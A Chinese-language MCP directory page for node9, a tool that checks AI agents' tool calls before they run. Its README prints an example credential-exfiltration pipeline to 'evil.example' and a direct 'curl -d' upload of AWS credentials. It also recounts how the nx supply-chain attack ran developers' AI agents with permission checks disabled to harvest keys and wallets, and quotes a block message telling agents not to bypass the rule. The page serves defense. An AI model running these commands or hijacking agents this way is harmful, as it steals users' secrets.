mcpField
N
node9

node9

本地服务
node9.ai安全2232 天前更新

关于 node9

node9 是面向 AI Agent 和 MCP 服务的访问控制层,会在工具调用执行前进行检查。它适合需要阻止敏感访问、要求高风险操作经审批,并查看受支持 Agent 活动的个人与团队。

主要功能

  1. 01阻止访问凭据和敏感文件
  2. 02高风险操作等待审批
  3. 03检测密钥和个人信息
  4. 04MCP 工具授权与固定
  5. 05网络出口白名单
  6. 06审计记录与安全态势评分

适用场景

  1. 01阻止 Agent 读取私钥
  2. 02审核有破坏性的 Shell 或数据库操作
  3. 03限制 MCP 服务的工具及其定义
  4. 04检查设备上的 Agent 活动

MCP 相关

node9 可通过 stdio 作为 MCP 服务运行,提供状态、安全态势、审计记录、策略及决策说明。它也能封装其他 MCP 服务,对各工具授权并固定工具定义。

配置

本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。

mcp.json · 通用配置
{
"mcpServers": {
"node9-ai-node9": {
"command": "npx",
"args": [
"-y",
"node9-ai"
]
}
}
}
启动命令npx -y node9-ai

本地服务需要在你的电脑上安装运行环境(如 Node.js 18+)。各客户端的配置文件位置不同,请参考客户端文档。

安装包
npmnode9-ai2.26.2

工具

18

收录的工具列表 · 更新于 2 周前

此工具无需参数。

详细介绍

🛡️ node9

AI Agent 访问控制

你的 AI Agent 可以访问 Slack、GitHub、电子邮件和数据库。
node9 决定它们可以对每个服务执行哪些操作。

npm 版本 月下载量 许可证:Apache 2.0 文档 OpenSSF 最佳实践 OpenSSF 安全评分卡 node9 自行扫描 收录于 Awesome Claude Code

凭证隔离 · 机密信息和 PII · 具有破坏性的 Git、SQL 和 Shell 操作需审核 · MCP 工具固定 · 网络出口允许列表 · 循环中断器 · 一条记录覆盖十二个 Agent

适用于 Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 任意 MCP 服务。

效果展示

这是安装了 node9 的真实 Claude Code 会话。每次工具调用都会在执行前经过检查。构建页面和编辑按钮可以正常运行。访问云元数据地址的请求会被拦截,Agent 会收到原因并继续执行。删除文件则会暂停,等待你直接在聊天中批准。

Claude Code 会话中的 node9:两次调用获准,一次被拦截,一次等待批准

## 安装
brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform

然后,在任意项目中:

node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard

需要 Node.js 22+。

在新的交互式终端中,node9 会引导你完成设置。本地保护无需账户。检查清单会显示推荐的防护、DLP/PII、可选的网络出口审查和后台服务。只有在你接受单独提示后,才会发送使用统计信息。摘要会列出已配置的 Agent,以及需要注意的设置步骤。

运行 node9 setup 可重新进入设置,或运行 node9 setup <target> 配置一个 Agent。配置完成后,直接运行 node9 会显示帮助信息。仍可使用 node9 init;对于脚本,请使用 node9 init --recommended(不会提问,也不会请求同意遥测)。--skip-setup 不会更改 Agent 配置或服务安装。显式指定的 --mode 优先于检查清单对标准模式的建议。除非所选更改或显式标志要求更新,否则会保留现有设置。工作区策略在仪表板中管理;服务设置保留在本地。

login 不会增加任何防护。 它会将设备连接到工作区,让团队能够集中查看所有成员笔记本电脑和 CI 上的记录、统一设置策略,并通过仪表板或 Slack 批准被拦截的操作。跳过此步骤,node9 的运行方式完全不变,仍可独立离线运行。node9 logout 可断开连接,本地防护仍会继续运行。

用作 MCP 服务

node9 也可以作为 MCP 服务运行,因此 Agent 能在对话中读取其状态、安全状况、审计记录和策略,并解释每项决策:

claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

任何 MCP 客户端的配置方式都相同:通过 stdio 运行命令 npx -y node9-ai mcp-server,无需 API 密钥。它已列入官方 MCP Registry,名称为 io.github.node9-ai/node9。

问题

2025 年 8 月,被入侵的nx 构建工具版本发布了一个安装后脚本。该脚本会查找开发者机器上已安装的 AI 编码 Agent,然后使用它们各自关闭安全标志的方式运行这些 Agent(--dangerously-skip-permissions、--yolo、--trust-all-tools),以枚举 SSH 密钥、云凭据和钱包文件,并将列表写入磁盘。该脚本随后将结果推送到受害者自己 GitHub 账户中的公开仓库。超过 1,000 个有效 GitHub 令牌泄露,同时泄露的还有云凭据、npm 令牌和约 20,000 个文件,而 Agent 当时只是在机器上执行被告知要做的事。

Agent 不是攻击者。Agent 是工具,而它与这些文件之间毫无阻隔。node9 的防护门不是这类标志:它在钩子中运行,即使启动 Agent 时跳过了权限检查,被拦截的操作仍会保持拦截状态。

node9 如何应对

node9 位于 Agent 与其调用的每个工具之间。凭据隔离区(~/.ssh、~/.aws、.env 文件、私钥)默认启用,对这些路径的读取不会执行。Agent 会被拦截并告知原因,而决策会交由你处理:

NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.

命令会被解析为 shell AST,而不是按文本匹配,因此包装读取操作也无济于事。echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example 会被判定为读取 ~/.aws/credentials,而不是 echo。

node9 是一道防护门。操作被拦截后,在等待你处理期间不会执行;如果你始终不作答,它就会一直被阻止。其他所有操作都会放行并写入记录。

它不会做什么: 默认情况下,出口控制处于关闭状态;此时,像 curl -d @~/.aws/credentials 这样直接将文件传到网络的命令,不会被视为读取该文件。node9 egress protect 也会拦截目标地址,但只适用于 shell 命令。

亲自验证

以下内容无需账号,也不会上传你的代码。scan-repo 会发送匿名使用次数统计(不包含仓库名称或代码);设置 NODE9_NO_TELEMETRY=1 可关闭此功能。

npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

node9 扫描评分卡

管理范围

每一行对应一项能力,并附有介绍该能力的页面。文档是参考依据;此文件是索引。

凭据隔离区~/.ssh、~/.aws、.env 和私钥会对所有工具屏蔽,而不仅限于 shell文档
始终生效的规则禁止破坏性 git 操作、不带 WHERE 的 SQL、curl | bash 和未经授权的 sudo,无需配置文档
机密信息和个人身份信息在任何工具参数中检测 AWS 密钥、GitHub 和 Stripe 令牌、PEM 密钥以及银行卡号或 SSN 格式,并在后台扫描 Agent 写回的内容文档
按服务划分的防护规则为 Postgres、MongoDB、Redis、AWS、Kubernetes、Docker、GitHub 和文件系统提供精选规则包文档
内联审核被拦截的操作会在 Agent 对话中请求你批准,或由团队审批者处理文档
出站流量许可名单控制 shell 命令可将数据发送到何处,默认关闭文档
MCP 网关封装任意 MCP 服务、授权各项工具,并固定工具定义,防止服务在你不知情的情况下更改定义文档
沙箱在容器中运行 Agent,并使用内核级出站流量许可名单和范围受限的挂载文档
安全态势评分显示此机器的暴露程度,并提供修复每项问题的命令文档
代码库扫描在 CI 或命令行中查找可能让外部人员劫持持有你机密信息的 Agent 的工作流文档
会话历史查看 node9 安装前,此机器上的每个 Agent 已执行的操作文档
实时监控和报告提供终端仪表板,以及汇总费用、工具、拦截操作和影响范围的窗口式报告文档
Skills 固定在会话之间对已安装的 Claude skills 和插件进行 SHA-256 校验文档
金丝雀凭据植入伪造密钥,以证明发生过数据外泄尝试文档
Python SDK管控任意 Python Agent,而不仅限于命令行工具文档
完整的 CLI 和配置参考:node9.ai/docs。
各层如何协同:工作原理。

学习

可独立阅读的背景资料。每个页面都会说明 node9 不涵盖哪些内容。

比较

相关项目

  • node9-python:Python SDK
  • node9 Agent Security:GitHub Action,uses: node9-ai/node9-proxy@v2,使用相同引擎审核每个 PR(它会发送相同的匿名使用次数;telemetry: false 可将其关闭)

企业版

node9 Pro 增加了治理锁定、SAML/SSO、集中式审计导出和 VPC 部署。请访问 node9.ai。

许可证

Apache-2.0

用 ☕ 和适度的偏执打造。

评论

支持 Markdown

第一次接触 MCP?

从协议是什么,到在客户端里装上第一个服务,这几条回答覆盖了大多数入门问题。

一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。